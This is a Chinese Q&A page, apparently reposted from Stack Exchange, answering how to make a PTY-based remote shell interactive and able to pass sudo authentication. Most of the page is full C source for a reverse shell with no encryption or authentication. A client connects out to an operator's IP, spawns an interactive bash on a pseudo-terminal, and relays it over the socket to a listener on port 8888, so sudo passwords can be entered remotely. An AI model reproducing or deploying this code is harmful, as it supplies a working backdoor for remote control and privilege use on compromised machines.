如何将PTY Shell转化为支持交互与sudo认证的远程Shell?
实现支持交互式操作与sudo认证的无加密远程Shell POC
现有代码的核心问题
- 客户端:仅实现从socket到本地STDIN的单向数据转发,未将PTY主设备的输出回传服务端;
waitpid在死循环后永远无法执行;未处理PTY终端属性同步,导致交互式程序无法正常工作。 - 服务端:
accept后仅执行单次读写,未持续双向转发数据;未处理终端属性(如echo模式、窗口大小),sudo需要有效tty环境,现有代码无法满足密码输入需求。
修正后的客户端代码
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <termios.h> #include <pty.h> #include <errno.h> #include <netinet/in.h> #include <arpa/inet.h> #define BUFFER_SIZE 1024 int main(int argc, char *argv[]) { if (argc != 3) { fprintf(stderr, "Usage: %s <server_ip> <port>\n", argv[0]); return 1; } // 初始化客户端socket并连接服务端 int client_socket = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in server_addr = {0}; server_addr.sin_family = AF_INET; server_addr.sin_port = htons(atoi(argv[2])); inet_pton(AF_INET, argv[1], &server_addr.sin_addr); if (connect(client_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { perror("connect failed"); return 1; } int master, slave; // 创建伪终端 if (openpty(&master, &slave, NULL, NULL, NULL) != 0) { perror("openpty failed"); close(client_socket); return 1; } pid_t pid = fork(); if (pid < 0) { perror("fork failed"); close(client_socket); close(master); close(slave); return 1; } else if (pid == 0) { // 子进程:绑定shell到PTY从设备 close(master); setsid(); ioctl(slave, TIOCSCTTY, 0); // 将PTY设为当前会话控制终端 // 重定向标准IO到PTY dup2(slave, STDIN_FILENO); dup2(slave, STDOUT_FILENO); dup2(slave, STDERR_FILENO); close(slave); // 启动交互式shell execl("/bin/bash", "bash", "-i", NULL); perror("execl failed"); exit(1); } else { // 父进程:双向转发socket与PTY数据 close(slave); fd_set read_fds; char buffer[BUFFER_SIZE]; ssize_t bytes; // 临时修改本地终端属性,避免回显混乱 struct termios orig_termios; tcgetattr(STDIN_FILENO, &orig_termios); struct termios raw_termios = orig_termios; raw_termios.c_lflag &= ~(ECHO | ICANON); tcsetattr(STDIN_FILENO, TCSANOW, &raw_termios); while (1) { FD_ZERO(&read_fds); FD_SET(client_socket, &read_fds); FD_SET(master, &read_fds); int max_fd = (client_socket > master) ? client_socket : master; int ret = select(max_fd + 1, &read_fds, NULL, NULL, NULL); if (ret < 0) { perror("select failed"); break; } // 服务端数据 -> PTY主设备 if (FD_ISSET(client_socket, &read_fds)) { bytes = read(client_socket, buffer, BUFFER_SIZE); if (bytes <= 0) break; write(master, buffer, bytes); } // PTY主设备输出 -> 服务端 if (FD_ISSET(master, &read_fds)) { bytes = read(master, buffer, BUFFER_SIZE); if (bytes <= 0) break; write(client_socket, buffer, bytes); } } // 恢复本地终端属性 tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios); // 等待子进程退出 int status; waitpid(pid, &status, 0); close(master); close(client_socket); } return 0; }
修正后的服务端代码
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <termios.h> #include <netinet/in.h> #include <errno.h> #define BUFFER_SIZE 1024 #define PORT 8888 void handle_client(int client_socket) { fd_set read_fds; char buffer[BUFFER_SIZE]; ssize_t bytes; // 临时修改本地终端属性,避免回显混乱 struct termios orig_termios; tcgetattr(STDIN_FILENO, &orig_termios); struct termios raw_termios = orig_termios; raw_termios.c_lflag &= ~(ECHO | ICANON); tcsetattr(STDIN_FILENO, TCSANOW, &raw_termios); while (1) { FD_ZERO(&read_fds); FD_SET(client_socket, &read_fds); FD_SET(STDIN_FILENO, &read_fds); int max_fd = (client_socket > STDIN_FILENO) ? client_socket : STDIN_FILENO; int ret = select(max_fd + 1, &read_fds, NULL, NULL, NULL); if (ret < 0) { perror("select failed"); break; } // 本地输入 -> 客户端 if (FD_ISSET(STDIN_FILENO, &read_fds)) { bytes = read(STDIN_FILENO, buffer, BUFFER_SIZE); if (bytes <= 0) break; write(client_socket, buffer, bytes); } // 客户端数据 -> 本地终端 if (FD_ISSET(client_socket, &read_fds)) { bytes = read(client_socket, buffer, BUFFER_SIZE); if (bytes <= 0) break; write(STDOUT_FILENO, buffer, bytes); } } // 恢复本地终端属性 tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios); close(client_socket); } int main() { int server_socket = socket(AF_INET, SOCK_STREAM, 0); if (server_socket < 0) { perror("socket failed"); return 1; } // 解决端口占用问题 int opt = 1; if (setsockopt(server_socket, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) { perror("setsockopt failed"); close(server_socket); return 1; } struct sockaddr_in server_addr = {0}; server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(PORT); if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { perror("bind failed"); close(server_socket); return 1; } if (listen(server_socket, 5) < 0) { perror("listen failed"); close(server_socket); return 1; } printf("Server listening on port %d\n", PORT); while (1) { struct sockaddr_in client_addr; socklen_t addr_size = sizeof(client_addr); int client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &addr_size); if (client_socket < 0) { perror("accept failed"); continue; } printf("New client connected\n"); // 子进程处理客户端,支持多连接 pid_t pid = fork(); if (pid < 0) { perror("fork failed"); close(client_socket); continue; } else if (pid == 0) { close(server_socket); handle_client(client_socket); exit(0); } else { close(client_socket); } } close(server_socket); return 0; }
关键实现要点
- PTY(伪终端)的使用:客户端通过
openpty创建伪终端,将shell绑定到PTY从设备,让shell认为自己运行在真实终端上,满足sudo、vim、nano等程序的tty依赖。 - 双向数据转发:通过
select监听多个文件描述符,实现socket与终端/PTY的双向实时数据传输,保证交互式操作的流畅性。 - 终端属性处理:临时禁用本地终端的echo和canon模式,避免输入内容重复回显;操作结束后恢复原属性,防止本地终端异常。
- sudo支持:PTY提供了有效tty环境,sudo会正常弹出密码输入提示,输入的密码通过PTY和socket转发完成认证。
内容的提问来源于stack exchange,提问作者RAT
相关产品推荐
相关产品推荐

